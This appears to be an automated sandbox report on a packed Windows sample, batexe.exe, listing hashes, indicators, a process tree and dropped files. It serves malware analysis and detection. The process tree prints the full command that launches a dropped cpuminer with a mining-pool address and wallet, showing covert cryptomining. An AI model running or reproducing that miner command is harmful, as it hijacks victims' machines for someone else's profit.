73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
297s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 15:58

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1480	b2e.exe
2924	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4756-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 1480	4756	batexe.exe	74
PID 4756 wrote to memory of 1480	4756	batexe.exe	74
PID 4756 wrote to memory of 1480	4756	batexe.exe	74
PID 1480 wrote to memory of 2996	1480	b2e.exe	75
PID 1480 wrote to memory of 2996	1480	b2e.exe	75
PID 1480 wrote to memory of 2996	1480	b2e.exe	75
PID 2996 wrote to memory of 2924	2996	cmd.exe	78
PID 2996 wrote to memory of 2924	2996	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A71D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe

Filesize
6.9MB

MD5
1072c971cc049056302d7bb0d7bfacc2

SHA1
352aaa322919826fe8fe118ce9343b8bfaf19362

SHA256
8e190818d473348ccc1d318bc67a90fc578a667a2c8cf229058f59a5e4b11edb

SHA512
de133efe71334ad86bcbb7916984adae3ffbc3f148d8d9ee05e466c2ed202ece1e11bd689fcc7936b8b98a1b5607670ceae7bd91c9d723ba4a2f35e72400c944

Download Submit
C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe

Filesize
5.7MB

MD5
0ef8c2f91ec8b01748b4f54fe20e28a0

SHA1
c544219697e1d58bf348e5fb609a4dab50822440

SHA256
735fbff3a41e3502e586fbd8030bfe6f8c2b16d6a17eae3fa6ccbe0d65dfbed1

SHA512
103ac47d533cde2a5e1985809905bc244cfb76453653e8111035023e7c9440b88cdbecb8d80539680bc26015162419e6443b1443d751e96b91bee8fe50a0e668

Download Submit
C:\Users\Admin\AppData\Local\Temp\A71D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
992KB

MD5
e3b4df1fb5b552db700efc82675215d7

SHA1
f094d67f9b28cb6cec54ebb40bcd8c6cef82483b

SHA256
6aa71aea7a6ab9498e56de0c5d7a681760001166b80cc28ab4fda5272b01659c

SHA512
0b2f5c0c55340774f9f33f68810bcc9b493c39cb8f8f68df5cc4731a0329519f2c0e25d13f875cef308824acead026968afb4be767347ce2248e9a7270f174d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
827e8d26b36b7574a2bf14459a3eda77

SHA1
4ac43a7fa826db1d6c98af0af8f628aa4b48cb62

SHA256
36ff800afe8285205fd55018ed1f0108e4bc41f2636921d7153eac4a3696a688

SHA512
28f20c8ed5260ad38a2523f03d88fc99044f6d864b30e4324d94547024aab8bd3619c68fd85e482179292bec1049bebda7816d6c6b560e828e11bd3da1d07c0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
6ce361c1ea446c83816606206115c85a

SHA1
37b113efae2e5654e98e8a3f6a48bec3dd02c694

SHA256
579d89f2fbf6af9d7ca9695391d4a9ee9327ec523f8d638439a0fe471c1a09e0

SHA512
f6371324305a1d4c759541a0dabb0489db30b6acd8efeaaefc946b5057a381b211731b3f6ecc3cbd244aa1d519f9090e36663435db6fd488bdae034086c06257

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
6209d231684a8f2e5e435f52c37246d1

SHA1
b86fbebd13d623ebc5765543b2ef075f41e57c7c

SHA256
d63535da6cdab2c1a2fe1620c6a418ba16e60f52545f5719bb88e7313f63de9c

SHA512
9d4d2d39827ebd76373a3cb02ccdc6b70737b4842aa9e9949f3c411502feda78d8c60e0612261f2b0491c928f3807c5d43030fae8d7192f265cd42fa356c9f09

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
34186df6e816c9b91f65fe8b0fa96fe5

SHA1
2fea770bd6833789725218bbb25902fb19a28c12

SHA256
5c731b2720104387b43feead835cb0776d5ed9c8b6e81069f454091eb2e24205

SHA512
94a12fb072270111e01afc14122b69df90fc79e1cece3eb611395b48d651d345f38d248a5a47e555fe98418f1a595ad5822de1ad4dca29f9ddfe7f8bca380fc0

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1480-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1480-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2924-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2924-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-43-0x00000000667F0000-0x0000000066888000-memory.dmp

Filesize
608KB

Download
memory/2924-44-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/2924-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2924-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4756-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download